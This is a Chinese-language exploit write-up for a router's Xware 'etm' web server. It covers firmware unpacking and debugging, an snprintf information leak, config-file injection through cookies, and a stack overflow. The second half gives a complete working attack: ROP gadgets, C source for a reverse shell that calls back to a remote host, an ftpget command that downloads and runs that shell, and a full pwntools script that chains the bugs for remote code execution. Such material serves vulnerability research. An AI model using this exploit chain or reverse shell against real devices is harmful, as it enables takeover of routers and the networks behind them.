Author : Dlive
本次调试分析的漏洞是长亭科技在某届GeekPwn上提交的路由器漏洞
该路由器的系统为嵌入式ARM Linux, 路由器中集成了Xware程序,本文中的漏洞为Xware的漏洞
我们可以找到存在漏洞的固件版本,固件的下载链接可以在官方论坛上找到
使用binwalk解包
# dlive @ pwn in /tmp [14:25:56]
$ binwalk -Me XXXV100R001C01B032SP03_main.bin
Scan Time: 2018-03-13 14:26:08
Target File: /tmp/XXXV100R001C01B032SP03_main.bin
MD5 Checksum: f8fc51edfc499d98297da3cb9ed20f13
Signatures: 386
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
67022 0x105CE Squashfs filesystem, little endian, version 4.0, compression:xz, size: 10486308 bytes, 1100 inodes, blocksize: 1048576 bytes, c$eated: 2016-02-16 02:09:03
10556878 0xA115CE uImage header, header size: 64 bytes, header CRC: 0x6FE316DA, created: 2016-02-16 02:03:53, image size: 1458856 bytes, Data Add$ess: 0x80408000, Entry Point: 0x80408000, data CRC: 0x97747C02, OS: Linux, CPU: ARM, image type: OS Kernel Image, compression type: lzma, image name: "Linux-$.6.30"
10556942 0xA1160E LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 3839712 bytes
Scan Time: 2018-03-13 14:26:10
Target File: /tmp/_XXXV100R001C01B032SP03_main.bin.extracted/A1160E
MD5 Checksum: 5ccfdaa38810b2974367a3b3ffe06ff5
Signatures: 386
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
106107 0x19E7B LZMA compressed data, properties: 0xC0, dictionary size: 0 bytes, uncompressed size: 64 bytes
1345893 0x148965 Certificate in DER format (x509 v3), header length: 4, sequence length: 1284
1346017 0x1489E1 Certificate in DER format (x509 v3), header length: 4, sequence length: 1288
2719004 0x297D1C Linux kernel version 2.6.30
2994752 0x2DB240 CRC32 polynomial table, little endian
3009084 0x2DEA3C CRC32 polynomial table, little endian
3470319 0x34F3EF xz compressed data
3537774 0x35FB6E Unix path: /etc/nginx/conf/domain.dat
3552266 0x36340A Neighborly text, "neighbor %.2x%.2x.%.2x:%.2x:%.2x:%.2x:%.2x:%.2x lost on port %d(%s)(%s)"
Scan Time: 2018-03-13 14:26:12
Target File: /tmp/_XXXV100R001C01B032SP03_main.bin.extracted/_A1160E.extracted/19E7B
MD5 Checksum: 3b5d3c7d207e37dceeedd301e35e2e58
Signatures: 386
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
解包成功之后,在squashfs-root目录下我们可以看到路由器的文件系统如下
# dlive @ pwn in /tmp/_XXXV100R001C01B032SP03_main.bin.extracted/squashfs-root [14:27:34]
$ ls -la
total 64
drwxr-xr-x 16 dlive dlive 4096 2月 16 2016 .
drwxrwxr-x 4 dlive dlive 4096 3月 13 14:26 ..
drwxrwxrwx 2 dlive dlive 4096 2月 16 2016 bin
drwxr-xr-x 2 dlive dlive 4096 12月 23 2015 config
drwxrwxrwx 3 dlive dlive 4096 2月 16 2016 dev
drwxrwxrwx 8 dlive dlive 4096 2月 16 2016 etc
drwxr-xr-x 3 dlive dlive 4096 2月 16 2016 home
drwxr-x--- 2 dlive dlive 4096 2月 16 2016 html
lrwxrwxrwx 1 dlive dlive 13 2月 16 2016 init -> ./bin/busybox
drwxrwxrwx 4 dlive dlive 4096 2月 16 2016 lib
lrwxrwxrwx 1 dlive dlive 3 2月 16 2016 lib64 -> lib
lrwxrwxrwx 1 dlive dlive 11 2月 16 2016 linuxrc -> bin/busybox
drwxrwxrwx 2 dlive dlive 4096 12月 23 2015 mnt
drwxrwxrwx 2 dlive dlive 4096 12月 23 2015 proc
drwxrwxrwx 2 dlive dlive 4096 2月 16 2016 sbin
drwxr-xr-x 2 dlive dlive 4096 12月 23 2015 sys
drwxr-xr-x 2 dlive dlive 4096 12月 23 2015 tmp
drwxrwxrwx 6 dlive dlive 4096 2月 16 2016 usr
drwxrwxrwx 3 dlive dlive 4096 2月 16 2016 var
根据长亭科技文章的描述,我们可以通过搜索特征字符串的方式找到存在漏洞的binary:/bin/etm
找到binary之后,使用qemu+chroot执行etm二进制文件,发现无法直接执行
# dlive @ pwn in ~/Desktop/IoT/case-study/1-ARM-huwei_XXX/XXX/squashfs-root [14:30:21] C:125
$ sudo chroot ./ ./qemu-arm-static ./bin/etm
[sudo] password for dlive:
log.ini not exist!
logger_load_cfg log.ini fail:102301
etm_init_env fail:102301
那么接下来我们看一下启动这个二进制文件需要什么样的环境和参数
通过搜索对/bin/etm文件的调用,我们发现/bin/etm是由/etc/etm_monitor.sh启动的,/etc/etm_monitor.sh接收一个参数
/etc/etm_monitor.sh由/etc/xunlei.sh启动,/etc/xunlei.sh启动同样需要一个参数
/etc/xunlei.sh由/bin/cms启动,启动参数为624X
通过对这几个文件分析,我们可以得到etm的启动参数
并且通过对文件系统中配置文件的搜索,我们发现etm的配置文件存在于/etc目录下
所以最终etm的启动参数如下
./bin/etm --system_path=/etc --disk_cfg=/etc/thunder_mounts.cfg --etm_cfg=/etc/etm.ini --log_cfg=/etc/log.ini --pid_file=/etc/xunlei.pid --license=1411260001000003p000624lcubiwszdi3fs2og66q
我是使用树莓派进行调试的,树莓派上使用的是官方系统,在树莓派本机上可以完美调试
将gdbserver的动态链接库直接拷贝到路由器的文件目录下,然后使用chroot+gdb/gdbserver调试
sudo chroot ./ ./gdbserver :1234 ./bin/etm --system_path=/etc --disk_cfg=/etc/thunder_mounts.cfg --etm_cfg=/etc/etm.ini --log_cfg=/etc/log.ini --pid_file=/etc/xunlei.pid --license=1411260001000003p000624lcubiwszdi3fs2og66q
也可以使用qemu启动etm并开启gdb远程调试(可使用IDA或gdb调试),远程端口1234
sudo chroot ./ ./qemu-arm-static -g 1234 ./bin/etm --system_path=/etc --disk_cfg=/etc/thunder_mounts.cfg --etm_cfg=/etc/etm.ini --log_cfg=/etc/log.ini --pid_file=/etc/xunlei.pid --license=1411260001000003p000624lcubiwszdi3fs2og66q
本次调试的时候使用了一个改良过的gdb peda插件 https://github.com/kelwin/peda
远程调试:
gdb bin/etm
(gdb-peda) target remote 127.0.0.1:1234
对这样一个路由器上的二进制Web Server逆向分析的话注意以下几点可以提高分析效率
我们先大概看一下这个二进制的Web Server的整体逻辑
程序保留了部分符号,可以辅助分析,从main函数可以看出,一开始程序做了一系列的初始化和配置工作,然后才进入etm_start
在etm_initialize中调用了lc_initialize函数,在该函数中初始化了http的路由
可以从下面代码得到所有可通过HTTP访问的路径
(下面的变量名是经过重命名之后的变量名,下面截图不全,大家可以自己在IDA中看到所有的路径)
我们可以通过URL访问以下可知这确实是Web Server存在的功能路径
在前面我们有说到,可以重点关注无需认证即可接触到的功能来减少分析工作量,所以我们可以依次访问上面的路径来确定该功能是否可以在未登录状态下访问
未登录状态下可访问的路径有:login、settings、logout、stophunter、speedlimit等
然后我们分析主逻辑,看程序是怎么处理这些路径对应的请求的
在etm_start中我们能明显看到创建线程的操作,这很符合我们对Server的认识,即sub_82b24为HTTP请求处理函数
lc_start和之前的lc_initialize对应,应该是启动服务的函数
lc_initialize中有几个函数指针,其中包含了Http数据包处理函数HttpHandler(重命名后的函数名)
在HttpHandler中,我们就可以找到处理各种HTTP请求的逻辑了,然后即可对应每种请求进行详细分析
信息泄露漏洞存在于下图代码(处理login请求时,调用的sub_A7704函数)中对于snprintf返回值的误用
snprintf的返回值不是最终写入buffer的数据长度,而是假设没有0x100的长度限制下统计的数据长度
即该返回值的大小有可能大于0x100
当返回值大于0x100时,返回给客户端的数据长度大于buffer的长度,即将buffer之后的数据也返回给了客户端
而这部分数据(堆数据)中包含了libc基址
同样是在login功能中,程序获取到HTTP请求中的Cookie中对应键的值
然后通过set_huiyuan_info和set_huiyuan_check_info将获取到的信息设置到内存中的etm_cfg中
setting_flush函数将etm_cfg中的数据按一定格式写入到etm.ini文件中
可以看到在保存配置时(下图),即写入到配置文件时是直接拼接字符串然后写入,对于可能影响配置文件语义的"\n"未做特殊处理
于是可能导致配置文件注入。
比如可以通过在jumpkey的值之后加入\n\n进而加入进行的配置项[license]和server_addr
存在栈溢出的地方在license_start函数中,该函数调用了parse_server_addr来解析etm.ini中的server_addr
但是我们可以明显在下面的代码中看到,在做字符串拷贝时代码没有做任何限制,直接导致了栈溢出
其中字符串拷贝的目标缓冲区dest是license_start函数的局部变量
在之前分析路由器整体功能时我们知道,/stopthunder功能不需要登录即可访问
在访问/stopthunder后,/bin/etm进程停止,etm_monitor.sh脚本会监控/bin/etm进程状态,然后重启进程
当进程重启后加载配置文件etm.ini时,发送缓冲区溢出
在开发利用代码之前,我们先看一下程序开启的保护措施
$ checksec etm
[*] '/mnt/hgfs/case-study/1-ARM-huwei_XXX/exploit/etm'
Arch: arm-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8000)
程序开启了NX保护,所以我们要通过ROP来执行代码
另外需要注意的是,虽然没有开启ASLR保护,但是每次路由器重新启动会导致libc加载基址改变
所以才需要之前的Info Leak漏洞来泄露libc基址
在编写ROP之前,我们需要知道ROP中不可使用的字符
针对\x00限制的解决方案是,我们可以使用libc中的gadgets来进行ROP,因为libc常被加载于高地址内存
构造ROP的思路是调用system函数执行命令来下载reverse shell,然后在路由器执行reverse shell,进而拿到路由器的控制权
路由器上的命令都是由busybox提供,功能有限,经过对这些命令的研究,我发现ftpget可用于下载文件
通过下面的命令可以从10.101.170.30(ftpserver)上下载reshell到本地/bin/reshell
/bin/busybox ftpget -g -l /bin/reshell -r reshell 10.101.170.30
ROP gadgets可以使用ROPgadget工具来寻找
ARM汇编可以参考:https://www.anquanke.com/post/id/86383
这里讲解一下我们在编写这个漏洞利用代码时使用到的ARM汇编
从栈上pop出r0, lr,然后bx跳转到lr。这个gadget用于设置寄存器的值
0x00053a10 pop {r0, lr} ; bx lr;
将r0中的值写入r4指向的内存中,然后从栈上pop出r4和lr,然后bx跳转到lr
这个gadget用于将寄存器中的值写入.data段,可用于构造要执行的命令字符串
0x0002E4F8 str r0, [r4] ; pop {r4, lr} ; bx lr
在使用gadgets向.data写入数据时不能写入\x00,所以需要使用"||"将要执行的命令和.data段后面的垃圾数据隔离
最终需要写入.data的字符串为
/bin/busybox ftpget -g -l /bin/reshell -r reshell 10.101.170.30 && chmod +x /bin/reshell && /bin/reshell ||
参考github上别人写的bind shell写了个reverse shell,下面是reshell的代码
直接gcc静态编译即可
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#define REMOTE_ADDR "1.1.1.1"
#define REMOTE_PORT 9999
// Thanks to OsandaMalith's Bind Shell
// https://gist.github.com/OsandaMalith/a3b213b5e7582cf9aac3
int main() {
int i, s = 0;
char *banner = "[~] Welcome to @Dlive's Reverse Shell\n";
char *args[] = { "/bin/busybox", "sh", (char *) 0 };
struct sockaddr_in sa;
socklen_t len = 0;
sa.sin_family = AF_INET;
sa.sin_port = htons(REMOTE_PORT);
sa.sin_addr.s_addr = inet_addr(REMOTE_ADDR);
s = socket(AF_INET, SOCK_STREAM, 0);
connect(s, (struct sockaddr *)&sa, sizeof(sa));
for(; i <3 ; i++) dup2(s, i);
write(s , banner , strlen(banner));
execve("/bin/busybox", args, (char *) 0);
return 0;
}
from pwn import *
import sys
HOST = sys.argv[1]
# HOST = '10.101.168.170'
PORT = 9000
# COMMAND = 'echo 1 > /etc/1.txt'
COMMAND = '/bin/busybox ftpget -g -l /bin/reshell -r reshell 10.101.170.30 && chmod +x /bin/reshell && /bin/reshell'
elf = ELF('./etm')
# this libc is libuClibc-0.9.32.1-git.so
libc = ELF('./libc.so.0')
context.log_level = 'debug'
def http_req(path, cookie=None):
http_req = 'GET {} HTTP/1.1\r\n'.format(path)
http_req += 'Host: {}:{}\r\n'.format(HOST, PORT)
if cookie:
http_req += 'Cookie: {}\r\n'.format(cookie)
http_req += '\r\n'
print http_req
return http_req
# -------- leak uclibc address -------
p = remote(HOST, PORT)
url = '/login?callback={}'.format('A'*0x200)
p.send(http_req(url))
http_rsp = p.recvall()
libc.address = u32(http_rsp[0x108:0x108+4]) - 0x65dac
print '[+]libc address: ', hex(libc.address)
raw_input('#DEBUG#')
print http_rsp
# ---------- etm.ini injection ---------
p = remote(HOST, PORT)
def generate_payload(command):
print '[+]command is ', command
command += ' ||' # do not use ';' to connect command. beause ';' is separator of cookie value
for j in range(20):
data = p32(libc.address + 0x00061288 + j)
# 0x00053a10 pop {r0, lr} ; bx lr;
pop_r0_lr_bx_lr = p32(libc.address + 0x00053a10)
# 0x0002b3d0 pop {r4, lr} ; bx lr ;
pop_r4_lr_bx_lr = p32(libc.address + 0x0002b3d0)
# 0x0002E4F8 str r0, [r4] ; pop {r4, lr} ; bx lr
str_r0_r4_pop_r4_lr_bx_lr = p32(libc.address + 0x0002E4F8)
payload = cyclic(176) # padding
# write command to .data
for i in range(len(command) / 4):
payload += pop_r4_lr_bx_lr
payload += p32(u32(data) + i * 4) # r3 = .data
payload += pop_r0_lr_bx_lr
payload += command[i*4:(i+1)*4].ljust(4,'B') # r0 = command[0:4]
payload += str_r0_r4_pop_r4_lr_bx_lr # [r4] = r0
payload += 'AAAA' # padding
# call system
payload += pop_r0_lr_bx_lr
payload += data
payload += p32(libc.symbols['system'])
if ('\x00' not in payload) and (';' not in payload) and ('\n' not in payload):
return payload
return False
payload = generate_payload(COMMAND)
if not payload:
print '[-]Can not Generate Payload'
sys.exit(-1)
cookie = "isvip=0; jumpkey=A\n\n[license]\nserver_addr={}; usernick=B; userid=1".format(payload)
url = '/login?userID=A&clientID=A&scope=1&token=1&v=1'
p.send(http_req(url, cookie))
http_rsp = p.recvall()
print http_rsp
# ---------- restart ----------------
raw_input('#DEBUG#')
p = remote(HOST, PORT)
url = '/stopthunder'
p.send(http_req(url))
http_rsp = p.recvall()
print http_rsp